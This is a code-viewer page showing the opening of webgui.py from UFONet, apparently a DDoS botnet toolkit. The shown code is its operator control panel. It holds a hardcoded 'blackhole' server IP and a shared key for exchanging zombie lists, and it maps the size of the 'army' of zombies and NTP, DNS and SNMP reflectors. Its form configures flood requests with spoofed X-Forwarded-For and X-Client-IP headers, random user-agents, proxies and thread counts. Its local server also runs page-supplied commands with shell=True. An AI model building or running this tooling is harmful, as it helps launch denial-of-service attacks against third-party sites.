webgui.py 458 KB

12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182838485868788899091929394959697989910010110210310410510610710810911011111211311411511611711811912012112212312412512612712812913013113213313413513613713813914014114214314414514614714814915015115215315415515615715815916016116216316416516616716816917017117217317417517617717817918018118218318418518618718818919019119219319419519619719819920020120220320420520620720820921021121221321421521621721821922022122222322422522622722822923023123223323423523623723823924024124224324424524624724824925025125225325425525625725825926026126226326426526626726826927027127227327427527627727827928028128228328428528628728828929029129229329429529629729829930030130230330430530630730830931031131231331431531631731831932032132232332432532632732832933033133233333433533633733833934034134234334434534634734834935035135235335435535635735835936036136236336436536636736836937037137237337437537637737837938038138238338438538638738838939039139239339439539639739839940040140240340440540640740840941041141241341441541641741841942042142242342442542642742842943043143243343443543643743843944044144244344444544644744844945045145245345445545645745845946046146246346446546646746846947047147247347447547647747847948048148248348448548648748848949049149249349449549649749849950050150250350450550650750850951051151251351451551651751851952052152252352452552652752852953053153253353453553653753853954054154254354454554654754854955055155255355455555655755855956056156256356456556656756856957057157257357457557657757857958058158258358458558658758858959059159259359459559659759859960060160260360460560660760860961061161261361461561661761861962062162262362462562662762862963063163263363463563663763863964064164264364464564664764864965065165265365465565665765865966066166266366466566666766866967067167267367467567667767867968068168268368468568668768868969069169269369469569669769869970070170270370470570670770870971071171271371471571671771871972072172272372472572672772872973073173273373473573673773873974074174274374474574674774874975075175275375475575675775875976076176276376476576676776876977077177277377477577677777877978078178278378478578678778878979079179279379479579679779879980080180280380480580680780880981081181281381481581681781881982082182282382482582682782882983083183283383483583683783883984084184284384484584684784884985085185285385485585685785885986086186286386486586686786886987087187287387487587687787887988088188288388488588688788888989089189289389489589689789889990090190290390490590690790890991091191291391491591691791891992092192292392492592692792892993093193293393493593693793893994094194294394494594694794894995095195295395495595695795895996096196296396496596696796896997097197297397497597697797897998098198298398498598698798898999099199299399499599699799899910001001100210031004100510061007100810091010101110121013101410151016101710181019102010211022102310241025102610271028102910301031103210331034103510361037103810391040104110421043104410451046104710481049105010511052105310541055105610571058105910601061106210631064106510661067106810691070107110721073107410751076107710781079108010811082108310841085108610871088108910901091109210931094109510961097109810991100110111021103110411051106110711081109111011111112111311141115111611171118111911201121112211231124112511261127112811291130113111321133113411351136113711381139114011411142114311441145114611471148114911501151115211531154115511561157115811591160116111621163116411651166116711681169117011711172117311741175117611771178117911801181118211831184118511861187118811891190119111921193119411951196119711981199120012011202120312041205120612071208120912101211121212131214121512161217121812191220122112221223122412251226122712281229123012311232123312341235123612371238123912401241124212431244124512461247124812491250125112521253125412551256125712581259126012611262126312641265126612671268126912701271127212731274127512761277127812791280128112821283128412851286128712881289129012911292129312941295129612971298129913001301130213031304130513061307130813091310131113121313131413151316131713181319132013211322132313241325132613271328132913301331133213331334133513361337133813391340134113421343134413451346134713481349135013511352135313541355135613571358135913601361136213631364136513661367136813691370137113721373137413751376137713781379138013811382138313841385138613871388138913901391139213931394139513961397139813991400140114021403140414051406140714081409141014111412141314141415141614171418141914201421142214231424142514261427142814291430143114321433143414351436143714381439144014411442144314441445144614471448144914501451145214531454145514561457145814591460146114621463146414651466146714681469147014711472147314741475147614771478147914801481148214831484148514861487148814891490149114921493149414951496149714981499150015011502150315041505150615071508150915101511151215131514151515161517151815191520152115221523152415251526152715281529153015311532153315341535153615371538153915401541154215431544154515461547154815491550155115521553155415551556155715581559156015611562156315641565156615671568156915701571157215731574157515761577157815791580158115821583158415851586158715881589159015911592159315941595159615971598159916001601160216031604160516061607160816091610161116121613161416151616161716181619162016211622162316241625162616271628162916301631163216331634163516361637163816391640164116421643164416451646164716481649165016511652165316541655165616571658165916601661166216631664166516661667166816691670167116721673167416751676167716781679168016811682168316841685168616871688168916901691169216931694169516961697169816991700170117021703170417051706170717081709171017111712171317141715171617171718171917201721172217231724172517261727172817291730173117321733173417351736173717381739174017411742174317441745174617471748174917501751175217531754175517561757175817591760176117621763176417651766176717681769177017711772177317741775177617771778177917801781178217831784178517861787178817891790179117921793179417951796179717981799180018011802180318041805180618071808180918101811181218131814181518161817181818191820182118221823182418251826182718281829183018311832183318341835183618371838183918401841184218431844184518461847184818491850185118521853185418551856185718581859186018611862186318641865186618671868186918701871187218731874187518761877187818791880188118821883188418851886188718881889189018911892189318941895189618971898189919001901190219031904190519061907190819091910191119121913191419151916191719181919192019211922192319241925192619271928192919301931193219331934193519361937193819391940194119421943194419451946194719481949195019511952195319541955195619571958195919601961196219631964196519661967196819691970197119721973197419751976197719781979198019811982198319841985198619871988198919901991199219931994199519961997199819992000200120022003200420052006200720082009201020112012201320142015201620172018201920202021202220232024202520262027202820292030203120322033203420352036203720382039204020412042204320442045204620472048204920502051205220532054205520562057205820592060206120622063206420652066206720682069207020712072207320742075207620772078207920802081208220832084208520862087208820892090209120922093209420952096209720982099210021012102210321042105210621072108210921102111211221132114211521162117211821192120212121222123212421252126212721282129213021312132213321342135213621372138213921402141214221432144214521462147214821492150215121522153215421552156215721582159216021612162216321642165216621672168216921702171217221732174217521762177217821792180218121822183218421852186218721882189219021912192219321942195219621972198219922002201220222032204220522062207220822092210221122122213221422152216221722182219222022212222222322242225222622272228222922302231223222332234223522362237223822392240224122422243224422452246224722482249225022512252225322542255225622572258225922602261226222632264226522662267226822692270227122722273227422752276227722782279228022812282228322842285228622872288228922902291229222932294229522962297229822992300230123022303230423052306230723082309231023112312231323142315231623172318231923202321232223232324232523262327232823292330233123322333233423352336233723382339234023412342234323442345234623472348234923502351235223532354235523562357235823592360236123622363236423652366236723682369237023712372237323742375237623772378237923802381238223832384238523862387238823892390239123922393239423952396239723982399240024012402240324042405240624072408240924102411241224132414241524162417241824192420242124222423242424252426242724282429243024312432243324342435243624372438243924402441244224432444244524462447244824492450245124522453245424552456245724582459246024612462246324642465246624672468246924702471247224732474247524762477247824792480248124822483248424852486248724882489249024912492249324942495249624972498249925002501250225032504250525062507250825092510251125122513251425152516251725182519252025212522252325242525252625272528252925302531253225332534253525362537253825392540254125422543254425452546254725482549255025512552255325542555255625572558255925602561256225632564256525662567256825692570257125722573257425752576257725782579258025812582258325842585258625872588258925902591259225932594259525962597259825992600260126022603260426052606260726082609261026112612261326142615261626172618261926202621262226232624262526262627262826292630263126322633263426352636263726382639264026412642264326442645264626472648264926502651265226532654265526562657265826592660266126622663266426652666266726682669267026712672267326742675267626772678267926802681268226832684268526862687268826892690269126922693269426952696269726982699270027012702270327042705270627072708270927102711271227132714271527162717271827192720272127222723272427252726272727282729273027312732273327342735273627372738273927402741274227432744274527462747274827492750275127522753275427552756275727582759276027612762276327642765276627672768276927702771277227732774277527762777277827792780278127822783278427852786278727882789279027912792279327942795279627972798279928002801280228032804280528062807280828092810281128122813281428152816281728182819282028212822282328242825282628272828282928302831283228332834283528362837283828392840284128422843284428452846284728482849285028512852285328542855285628572858285928602861286228632864286528662867286828692870287128722873287428752876287728782879288028812882288328842885288628872888288928902891289228932894289528962897289828992900290129022903290429052906290729082909291029112912291329142915291629172918291929202921292229232924292529262927292829292930293129322933293429352936293729382939294029412942294329442945294629472948294929502951295229532954295529562957295829592960296129622963296429652966296729682969297029712972297329742975297629772978297929802981298229832984298529862987298829892990299129922993299429952996299729982999300030013002300330043005300630073008300930103011301230133014301530163017301830193020302130223023302430253026302730283029303030313032303330343035303630373038303930403041304230433044304530463047304830493050305130523053305430553056305730583059306030613062306330643065306630673068306930703071307230733074307530763077307830793080308130823083308430853086308730883089309030913092309330943095309630973098309931003101310231033104310531063107310831093110311131123113311431153116311731183119312031213122312331243125312631273128312931303131313231333134313531363137313831393140314131423143314431453146314731483149315031513152315331543155315631573158315931603161316231633164316531663167316831693170317131723173317431753176317731783179318031813182318331843185318631873188318931903191319231933194319531963197319831993200320132023203320432053206320732083209321032113212321332143215321632173218321932203221322232233224322532263227322832293230323132323233323432353236323732383239324032413242324332443245324632473248324932503251325232533254325532563257325832593260326132623263326432653266326732683269327032713272327332743275327632773278327932803281328232833284328532863287328832893290329132923293329432953296329732983299330033013302330333043305330633073308330933103311331233133314331533163317331833193320332133223323332433253326332733283329333033313332333333343335333633373338333933403341334233433344334533463347334833493350335133523353335433553356335733583359336033613362336333643365336633673368336933703371337233733374337533763377337833793380338133823383338433853386338733883389339033913392339333943395339633973398339934003401340234033404340534063407340834093410341134123413341434153416341734183419342034213422342334243425342634273428342934303431343234333434343534363437343834393440344134423443344434453446344734483449345034513452345334543455345634573458345934603461346234633464346534663467346834693470347134723473347434753476347734783479348034813482348334843485348634873488348934903491349234933494349534963497349834993500350135023503350435053506350735083509351035113512351335143515351635173518351935203521352235233524352535263527352835293530353135323533353435353536353735383539354035413542354335443545354635473548354935503551355235533554355535563557355835593560356135623563356435653566356735683569357035713572357335743575357635773578357935803581358235833584358535863587358835893590359135923593359435953596359735983599360036013602360336043605360636073608360936103611361236133614361536163617361836193620362136223623362436253626362736283629363036313632363336343635363636373638363936403641364236433644364536463647364836493650365136523653365436553656365736583659366036613662366336643665366636673668366936703671367236733674367536763677367836793680368136823683368436853686368736883689369036913692369336943695369636973698369937003701370237033704370537063707370837093710371137123713371437153716371737183719372037213722372337243725372637273728372937303731373237333734373537363737373837393740374137423743374437453746374737483749375037513752375337543755375637573758375937603761376237633764376537663767376837693770377137723773377437753776377737783779378037813782378337843785378637873788378937903791379237933794379537963797379837993800380138023803380438053806380738083809381038113812381338143815381638173818381938203821382238233824382538263827382838293830383138323833383438353836383738383839384038413842384338443845384638473848384938503851385238533854385538563857385838593860386138623863386438653866386738683869387038713872387338743875387638773878387938803881388238833884388538863887388838893890389138923893389438953896389738983899390039013902390339043905390639073908390939103911391239133914391539163917391839193920392139223923392439253926392739283929393039313932393339343935393639373938393939403941394239433944394539463947394839493950395139523953395439553956395739583959396039613962396339643965396639673968396939703971397239733974397539763977397839793980398139823983398439853986398739883989399039913992399339943995399639973998399940004001400240034004400540064007400840094010401140124013401440154016401740184019402040214022402340244025402640274028402940304031403240334034403540364037403840394040404140424043404440454046404740484049405040514052405340544055405640574058405940604061406240634064406540664067406840694070407140724073407440754076407740784079408040814082408340844085408640874088408940904091409240934094409540964097409840994100410141024103410441054106410741084109411041114112411341144115411641174118411941204121412241234124412541264127412841294130413141324133413441354136413741384139414041414142414341444145414641474148414941504151415241534154415541564157415841594160416141624163416441654166416741684169417041714172417341744175417641774178417941804181418241834184418541864187418841894190419141924193419441954196419741984199420042014202420342044205420642074208420942104211421242134214421542164217421842194220422142224223422442254226422742284229423042314232423342344235423642374238423942404241424242434244424542464247424842494250425142524253425442554256425742584259426042614262426342644265426642674268426942704271427242734274427542764277427842794280428142824283428442854286428742884289429042914292429342944295429642974298429943004301430243034304430543064307430843094310431143124313431443154316431743184319432043214322432343244325432643274328432943304331433243334334433543364337433843394340434143424343434443454346434743484349435043514352435343544355435643574358435943604361436243634364436543664367436843694370437143724373437443754376437743784379438043814382438343844385438643874388438943904391439243934394439543964397439843994400440144024403440444054406440744084409441044114412441344144415441644174418441944204421442244234424442544264427442844294430443144324433443444354436443744384439444044414442444344444445444644474448444944504451445244534454445544564457445844594460446144624463446444654466446744684469447044714472447344744475447644774478447944804481448244834484448544864487448844894490449144924493449444954496449744984499450045014502450345044505450645074508450945104511451245134514451545164517451845194520452145224523452445254526452745284529453045314532453345344535453645374538453945404541454245434544454545464547454845494550455145524553455445554556455745584559456045614562456345644565456645674568456945704571457245734574457545764577457845794580458145824583458445854586458745884589459045914592459345944595459645974598459946004601460246034604460546064607460846094610461146124613461446154616461746184619462046214622462346244625462646274628462946304631463246334634463546364637463846394640464146424643464446454646464746484649465046514652465346544655465646574658465946604661466246634664466546664667466846694670467146724673467446754676467746784679468046814682468346844685468646874688468946904691469246934694469546964697469846994700470147024703470447054706470747084709471047114712471347144715471647174718471947204721472247234724472547264727472847294730473147324733473447354736473747384739474047414742474347444745474647474748474947504751475247534754475547564757475847594760476147624763476447654766476747684769477047714772477347744775477647774778477947804781478247834784478547864787478847894790479147924793479447954796479747984799480048014802480348044805480648074808480948104811481248134814481548164817481848194820482148224823482448254826482748284829483048314832483348344835483648374838483948404841484248434844484548464847484848494850485148524853485448554856485748584859486048614862486348644865486648674868486948704871487248734874487548764877487848794880488148824883488448854886488748884889489048914892489348944895489648974898489949004901490249034904490549064907490849094910491149124913491449154916491749184919492049214922492349244925492649274928492949304931493249334934493549364937493849394940494149424943494449454946494749484949495049514952495349544955495649574958495949604961496249634964496549664967496849694970497149724973497449754976497749784979498049814982498349844985498649874988498949904991499249934994499549964997499849995000500150025003500450055006500750085009501050115012501350145015501650175018501950205021502250235024502550265027502850295030503150325033503450355036503750385039504050415042504350445045504650475048504950505051505250535054505550565057505850595060506150625063506450655066506750685069507050715072507350745075507650775078507950805081508250835084508550865087508850895090509150925093509450955096509750985099510051015102510351045105510651075108510951105111511251135114511551165117511851195120512151225123512451255126512751285129513051315132513351345135513651375138513951405141514251435144514551465147514851495150515151525153515451555156515751585159516051615162516351645165516651675168516951705171517251735174517551765177517851795180518151825183518451855186518751885189519051915192519351945195519651975198519952005201520252035204520552065207520852095210521152125213521452155216521752185219522052215222522352245225522652275228522952305231523252335234523552365237523852395240524152425243524452455246524752485249525052515252525352545255525652575258525952605261526252635264526552665267526852695270527152725273527452755276527752785279528052815282528352845285528652875288528952905291529252935294529552965297529852995300530153025303530453055306530753085309531053115312531353145315531653175318531953205321532253235324532553265327532853295330533153325333533453355336533753385339534053415342534353445345534653475348534953505351535253535354535553565357535853595360536153625363536453655366536753685369537053715372537353745375537653775378537953805381538253835384538553865387538853895390539153925393539453955396539753985399540054015402540354045405540654075408540954105411541254135414541554165417541854195420542154225423542454255426542754285429543054315432543354345435543654375438543954405441544254435444544554465447544854495450545154525453545454555456545754585459546054615462546354645465546654675468546954705471547254735474547554765477547854795480548154825483548454855486548754885489549054915492549354945495549654975498549955005501550255035504550555065507550855095510551155125513551455155516551755185519552055215522552355245525552655275528552955305531553255335534553555365537553855395540554155425543554455455546554755485549555055515552555355545555555655575558555955605561556255635564556555665567556855695570557155725573557455755576557755785579558055815582558355845585558655875588558955905591559255935594559555965597559855995600560156025603560456055606560756085609561056115612561356145615561656175618561956205621562256235624562556265627562856295630563156325633563456355636563756385639564056415642564356445645564656475648564956505651565256535654565556565657565856595660566156625663566456655666566756685669567056715672567356745675567656775678567956805681568256835684568556865687568856895690569156925693569456955696569756985699570057015702570357045705570657075708570957105711571257135714571557165717571857195720572157225723572457255726572757285729573057315732573357345735573657375738573957405741574257435744574557465747574857495750575157525753575457555756575757585759576057615762576357645765576657675768576957705771577257735774577557765777577857795780578157825783578457855786578757885789579057915792579357945795579657975798579958005801580258035804580558065807580858095810581158125813581458155816581758185819582058215822582358245825582658275828582958305831583258335834583558365837583858395840584158425843584458455846584758485849585058515852585358545855585658575858585958605861586258635864586558665867586858695870587158725873587458755876587758785879588058815882588358845885588658875888588958905891589258935894589558965897589858995900590159025903590459055906590759085909591059115912591359145915591659175918591959205921592259235924592559265927592859295930593159325933593459355936593759385939594059415942594359445945594659475948594959505951595259535954595559565957595859595960596159625963596459655966596759685969597059715972597359745975597659775978597959805981598259835984598559865987598859895990599159925993599459955996599759985999600060016002600360046005600660076008600960106011601260136014601560166017601860196020602160226023602460256026602760286029603060316032603360346035603660376038603960406041604260436044604560466047604860496050605160526053605460556056605760586059606060616062606360646065606660676068606960706071607260736074607560766077607860796080608160826083608460856086608760886089609060916092609360946095609660976098609961006101610261036104610561066107610861096110611161126113611461156116611761186119612061216122612361246125612661276128612961306131613261336134613561366137613861396140614161426143614461456146614761486149615061516152615361546155615661576158615961606161616261636164616561666167616861696170617161726173617461756176617761786179618061816182618361846185618661876188618961906191619261936194619561966197619861996200620162026203620462056206620762086209621062116212621362146215621662176218621962206221622262236224622562266227622862296230623162326233623462356236623762386239624062416242624362446245624662476248624962506251625262536254625562566257625862596260626162626263626462656266626762686269627062716272627362746275627662776278627962806281628262836284628562866287628862896290629162926293629462956296629762986299630063016302630363046305630663076308630963106311631263136314631563166317631863196320632163226323632463256326632763286329633063316332633363346335633663376338633963406341634263436344634563466347634863496350635163526353635463556356635763586359636063616362636363646365636663676368636963706371637263736374637563766377637863796380638163826383638463856386638763886389639063916392639363946395639663976398639964006401640264036404640564066407640864096410641164126413641464156416641764186419642064216422642364246425642664276428642964306431643264336434643564366437643864396440644164426443644464456446644764486449645064516452645364546455645664576458645964606461646264636464646564666467646864696470647164726473647464756476647764786479648064816482648364846485648664876488648964906491649264936494649564966497649864996500650165026503650465056506650765086509651065116512651365146515651665176518651965206521652265236524652565266527652865296530653165326533653465356536653765386539654065416542654365446545654665476548654965506551655265536554655565566557655865596560656165626563656465656566656765686569657065716572657365746575657665776578657965806581658265836584658565866587658865896590659165926593659465956596659765986599660066016602660366046605660666076608660966106611661266136614661566166617661866196620662166226623662466256626662766286629663066316632663366346635663666376638663966406641664266436644664566466647664866496650665166526653665466556656665766586659666066616662666366646665666666676668666966706671667266736674667566766677667866796680668166826683668466856686668766886689669066916692669366946695669666976698669967006701670267036704670567066707670867096710671167126713671467156716671767186719672067216722672367246725672667276728672967306731673267336734673567366737673867396740674167426743674467456746674767486749675067516752675367546755675667576758675967606761676267636764676567666767676867696770677167726773677467756776677767786779678067816782678367846785678667876788678967906791679267936794679567966797679867996800680168026803680468056806680768086809681068116812681368146815681668176818681968206821682268236824682568266827682868296830683168326833683468356836683768386839684068416842684368446845684668476848684968506851685268536854685568566857685868596860686168626863686468656866686768686869687068716872687368746875687668776878687968806881688268836884688568866887688868896890689168926893689468956896689768986899690069016902690369046905690669076908690969106911691269136914691569166917691869196920692169226923692469256926692769286929693069316932693369346935693669376938693969406941694269436944694569466947694869496950695169526953695469556956695769586959696069616962696369646965696669676968696969706971697269736974697569766977697869796980698169826983698469856986698769886989699069916992699369946995699669976998699970007001700270037004700570067007700870097010701170127013701470157016701770187019702070217022702370247025702670277028702970307031703270337034703570367037703870397040704170427043704470457046704770487049705070517052705370547055705670577058705970607061706270637064706570667067706870697070707170727073707470757076707770787079708070817082708370847085708670877088708970907091709270937094709570967097709870997100710171027103710471057106710771087109711071117112711371147115711671177118711971207121712271237124712571267127712871297130713171327133713471357136713771387139714071417142714371447145714671477148714971507151715271537154715571567157715871597160716171627163716471657166716771687169717071717172717371747175717671777178717971807181718271837184718571867187718871897190719171927193719471957196719771987199720072017202720372047205720672077208720972107211721272137214721572167217721872197220722172227223722472257226722772287229723072317232723372347235723672377238723972407241724272437244724572467247724872497250725172527253725472557256725772587259726072617262726372647265726672677268726972707271727272737274727572767277727872797280728172827283728472857286728772887289729072917292729372947295729672977298729973007301730273037304730573067307730873097310731173127313731473157316731773187319732073217322732373247325732673277328732973307331733273337334733573367337733873397340734173427343734473457346734773487349735073517352735373547355735673577358735973607361736273637364736573667367736873697370737173727373737473757376737773787379738073817382738373847385738673877388738973907391739273937394739573967397
  1. #!/usr/bin/env python3
  2. # -*- coding: utf-8 -*-"
  3. """
  4. This file is part of the UFONet project, https://ufonet.03c8.net
  5. Copyright (c) 2013/2020 | psy <epsylon@riseup.net>
  6. You should have received a copy of the GNU General Public License along
  7. with UFONet; if not, write to the Free Software Foundation, Inc., 51
  8. Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
  9. """
  10. #######WORKAROUND PYTHON(3) VERSIONS####################
  11. import platform
  12. python_version = "python"+platform.python_version_tuple()[0]+"."+platform.python_version_tuple()[1]
  13. #######################################################
  14. import socket, threading, re, os, time, random, base64
  15. import webbrowser, subprocess, json, sys, requests
  16. import urllib.request, urllib.error, urllib.parse
  17. from urllib.parse import urlparse as urlparse
  18. from core.tools.crypter import Cipher
  19. from time import gmtime, strftime, strptime
  20. from Crypto.Cipher import AES
  21. from hashlib import sha1, sha256
  22. from decimal import Decimal
  23. from random import shuffle
  24. from .options import UFONetOptions
  25. from .main import UFONet
  26. from core.tools.abductor import Abductor
  27. #######SET-YOUR-BLACKHOLE-CONF-HERE###############################D
  28. default_blackhole = '176.28.23.46' # default blackhole #
  29. crypto_key = "U-NATi0n!" # default enc/dec (+moderator board) key #
  30. ###################################################################
  31. browser_init_page = "https://searchencrypt.com" # initial webpage for ship.browser [OK! 06/06/2020]
  32. check_ip_service1 = 'https://checkip.org/' # set external check ip service 1 [OK! 06/06/2020]
  33. check_ip_service2 = 'https://whatismyip.org/' # set external check ip service 2 [OK! 06/06/2020]
  34. check_ip_service3 = 'https://ip.42.pl/ra' # set external check ip service 3 [OK! [06/06/2020]
  35. blackhole_sep = "|" # blackhole stream separator
  36. board_msg_sep = "#!#" # board stream separator
  37. grid_msg_sep = "#?#" # grid stream seperator
  38. wargames_msg_sep = "#-#" # wargames stream seperator
  39. links_msg_sep = "#L#" # links stream separator
  40. streams_msg_sep = "#S#" # streams stream separator
  41. games_msg_sep = "#G#" # games stream separator
  42. globalnet_msg_sep = "#$#" # globalnet stream separator
  43. host = "0.0.0.0"
  44. port = 9999
  45. class ClientThread(threading.Thread):
  46. def __init__(self, ip, port, socket):
  47. threading.Thread.__init__(self)
  48. self.ip = ip
  49. self.port = port
  50. self.socket = socket
  51. self.pages = Pages()
  52. def run(self):
  53. req = self.socket.recv(2048)
  54. res = self.pages.get(req)
  55. if res is None:
  56. self.socket.close()
  57. return
  58. out = "HTTP/1.0 %s\r\n" % res["code"]
  59. out += "Content-Type: %s\r\n\r\n" % res["ctype"]
  60. out += "%s" % res["html"]
  61. try:
  62. self.socket.send(out.encode('utf-8'))
  63. except:
  64. self.socket.send(out)
  65. self.socket.close()
  66. if "run" in res and len(res["run"]):
  67. subprocess.Popen(res["run"], shell=True)
  68. class Pages():
  69. def file_len(self, fn):
  70. with open(fn) as f:
  71. for i, l in enumerate(f):
  72. pass
  73. return i + 1
  74. def html_army_map(self,target=None):
  75. try:
  76. target_js="total_zombies = "+str( int(self.file_len(self.zombies_file))+int(self.file_len(self.aliens_file))+int(self.file_len(self.droids_file))+int(self.file_len(self.ucavs_file))+int(self.file_len(self.rpcs_file))+int(self.file_len(self.ntps_file))+int(self.file_len(self.dnss_file))+int(self.file_len(self.snmps_file)) )+"\ninitMap()\n\n"
  77. except:
  78. target_js="not any zombie available\n\n"
  79. if target is not None:
  80. target_js += "$('#ufomsg').load('/js/ajax.js?doll="+target+"')\n"
  81. return self.pages["/header"] + """
  82. <link rel="stylesheet" href="/js/style.css" />
  83. <link rel="stylesheet" href="/js/ajaxmap.css" />
  84. <link rel="stylesheet" href="/js/leaflet/leaflet.css" />
  85. <link rel="stylesheet" href="/js/cluster/MarkerCluster.Default.css"/>
  86. <link rel="stylesheet" href="/js/cluster/MarkerCluster.css"/>
  87. <script src="/js/leaflet/leaflet.js"></script>
  88. <script src="/js/cluster/leaflet.markercluster-src.js"></script>
  89. <script src="/js/jquery-1.10.2.min.js"></script>
  90. <script src="/js/rlayer-src.js"></script>
  91. <script src="/js/raphael.js"></script>
  92. <script src="/js/ufo.js"></script>
  93. <script src="/js/ajax.js"></script>
  94. </head><body bgcolor="black" text="black">
  95. <div id="wrapper">
  96. <div id="map" style="width: 100%; height: 100%"></div>
  97. </div>
  98. <script type="text/javascript">
  99. window.onload = function(){
  100. """+target_js+"""
  101. }
  102. </script>
  103. <center>
  104. """ + self.pages["/footer"]
  105. def html_request_submit(self):
  106. return self.pages["/header"]+"""<script>
  107. window.setTimeout(window.close,1234)
  108. </script></head><body bgcolor="black" text="yellow" style="font-family:Courier, 'Courier New', monospace;" >
  109. <center>settings updated"""+self.pages["/footer"]
  110. def html_requests(self):
  111. # read requests configuration file (json)
  112. try:
  113. with open(self.mothership_webcfg_file) as data_file:
  114. data = json.load(data_file)
  115. except:
  116. if os.path.exists(self.mothership_webcfg_file) == True:
  117. print('[Error] [AI] Cannot open: "core/json/webcfg.json" -> [Aborting!]\n')
  118. return
  119. else: # generate default requests configuration file
  120. print('[Info] [AI] Cannot found: "core/json/webcfg.json" -> [Generating!]')
  121. with open(self.mothership_webcfg_file, "w") as f:
  122. json.dump({"rproxy": "NONE", "ruseragent": "RANDOM", "rreferer": "RANDOM", "rhost": "NONE", "rxforw": "on", "rxclient": "on", "rtimeout": "10", "rretries": "1", "rdelay": "0", "threads": "5", "rssl": "off"}, f, indent=4)
  123. # set values of requests configuration from json file to html form
  124. with open(self.mothership_webcfg_file) as data_file:
  125. data = json.load(data_file)
  126. self.agents = [] # generating available user-agents
  127. f = open(self.agents_file)
  128. agents = f.readlines()
  129. f.close()
  130. for agent in agents:
  131. self.agents.append(agent)
  132. self.user_agent = random.choice(self.agents).strip()
  133. self.rproxy = data["rproxy"]
  134. if self.rproxy == "NONE":
  135. self.rproxy = ""
  136. self.ruseragent = data["ruseragent"]
  137. if self.ruseragent == "RANDOM":
  138. self.ruseragent = self.user_agent # random user-agent
  139. self.rreferer = data["rreferer"]
  140. if self.rreferer == "RANDOM":
  141. self.rreferer = self.referer # random referer
  142. self.rhost = data["rhost"]
  143. if self.rhost == "NONE":
  144. self.rhost = ""
  145. self.rxforw = data["rxforw"]
  146. if self.rxforw == "on":
  147. self.rxforw_check = 'checked'
  148. else:
  149. self.rxforw_check = ''
  150. self.rxclient = data["rxclient"]
  151. if self.rxclient == "on":
  152. self.rxclient_check = 'checked'
  153. else:
  154. self.rxclient_check = ''
  155. self.rtimeout = data["rtimeout"]
  156. self.rretries = data["rretries"]
  157. self.rdelay = data["rdelay"]
  158. self.threads = data["threads"]
  159. self.rssl = data["rssl"]
  160. if self.rssl == "on":
  161. self.rssl_check = 'checked'
  162. else:
  163. self.rssl_check = ''
  164. return self.pages["/header"] + """
  165. <script language="javascript">
  166. function Requests() {
  167. var win_requests = window.open("requests","_parent","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  168. }
  169. </script>
  170. </head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" ><center><pre>
  171. <u>Configure requests:</u>
  172. <table cellpadding="2" cellspacing="2">
  173. <form method='GET'>
  174. <tr>
  175. <td> Use proxy server:</td>
  176. <td> <input type="text" name="rproxy" value='"""+str(self.rproxy)+"""'></td>
  177. </tr>
  178. <tr>
  179. <td> Use another HTTP User-Agent header:</td>
  180. <td> <input type="text" name="ruseragent" value='"""+str(self.ruseragent)+"""'></td>
  181. </tr>
  182. <tr>
  183. <td> Use another HTTP Referer header:</td>
  184. <td> <input type="text" name="rreferer" value='"""+str(self.rreferer)+"""'></td>
  185. </tr>
  186. <tr>
  187. <td> Use another HTTP Host header:</td>
  188. <td> <input type="text" name="rhost" value='"""+str(self.rhost)+"""'></td>
  189. </tr>
  190. <tr>
  191. <td> Set your HTTP X-Forwarded-For with random IP values:</td>
  192. <td> <input type="checkbox" name='rxforw' """+self.rxforw_check+"""></td>
  193. </tr>
  194. <tr>
  195. <td> Set your HTTP X-Client-IP with random IP values:</td>
  196. <td> <input type="checkbox" name='rxclient' """+self.rxclient_check+"""></td>
  197. </tr>
  198. <tr>
  199. <td> Select your timeout:</td>
  200. <td> <input type="text" name="rtimeout" value='"""+str(self.rtimeout)+"""'></td>
  201. </tr>
  202. <tr>
  203. <td> Retries when the connection timeouts:</td>
  204. <td> <input type="text" name="rretries" value='"""+str(self.rretries)+"""'></td>
  205. </tr>
  206. <tr>
  207. <td> Delay in seconds between each HTTP request:</td>
  208. <td> <input type="text" name="rdelay" value='"""+str(self.rdelay)+"""'></td>
  209. </tr>
  210. <tr>
  211. <td> Number of threads:</td>
  212. <td> <input type="text" name="threads" value='"""+str(self.threads)+"""'></td>
  213. </tr>
  214. <tr>
  215. <td> Force usage of SSL/HTTPS requests:</td>
  216. <td> <input type="checkbox" name='rssl' """+self.rssl_check+"""></td>
  217. </tr>
  218. </table>
  219. <hr>
  220. <input type="hidden" name="update" value="1">
  221. <input type="submit" value="Set!" onclick="Requests()"></pre>
  222. </form>
  223. """ + self.pages["/footer"]
  224. def html_board_profile_submit(self):
  225. return self.pages["/header"]+"""<script>
  226. window.setTimeout(window.close,1234)
  227. </script></head><body bgcolor="black" text="yellow" style="font-family:Courier, 'Courier New', monospace;" >
  228. <center>Board profile updated. Re-enter to see changes..."""+self.pages["/footer"]
  229. def html_grid_profile_submit(self):
  230. return self.pages["/header"]+"""<script>
  231. window.setTimeout(window.close,1234)
  232. </script></head><body bgcolor="black" text="yellow" style="font-family:Courier, 'Courier New', monospace;" >
  233. <center>Grid profile updated. Re-enter to see changes..."""+self.pages["/footer"]
  234. def profile_crew(self, icon):
  235. files = os.listdir("core/images/crew/")
  236. if icon == "NONE":
  237. icon = "link1"
  238. html_stream = ""
  239. html_stream += "<table cellspacing='2' cellpadding='5'><form method='GET'><tr>"
  240. for f in files:
  241. id = str(f.replace(".txt", ""))
  242. value = str(f.replace(".txt", ""))
  243. if icon == value:
  244. checked = " CHECKED"
  245. else:
  246. checked = ""
  247. crew_img = open("core/images/crew/"+value+".txt").read()
  248. html_stream += "<td><input type='radio' name='profile_icon' id='"+id+"' value='"+value+"'"+ checked+"><img src='data:image/png;base64,"+crew_img+"'></td>"
  249. html_stream += "</tr></table>"
  250. return html_stream
  251. def html_board_profile(self):
  252. try:
  253. with open(self.mothership_boardcfg_file) as data_file:
  254. data = json.load(data_file)
  255. except:
  256. if os.path.exists(self.mothership_boardcfg_file) == True:
  257. print('[Error] [AI] Cannot open: "core/json/boardcfg.json" -> [Aborting!]\n')
  258. return
  259. else:
  260. print('[Info] [AI] Cannot found: "core/json/boardcfg.json" -> [Generating!]')
  261. with open(self.mothership_boardcfg_file, "w") as f:
  262. json.dump({"profile_token": "NONE", "profile_icon": "NONE", "profile_nick": "Anonymous"}, f, indent=4)
  263. f.close()
  264. with open(self.mothership_boardcfg_file) as data_file:
  265. data = json.load(data_file)
  266. self.profile_token = str(random.getrandbits(128)) # generating random token hash
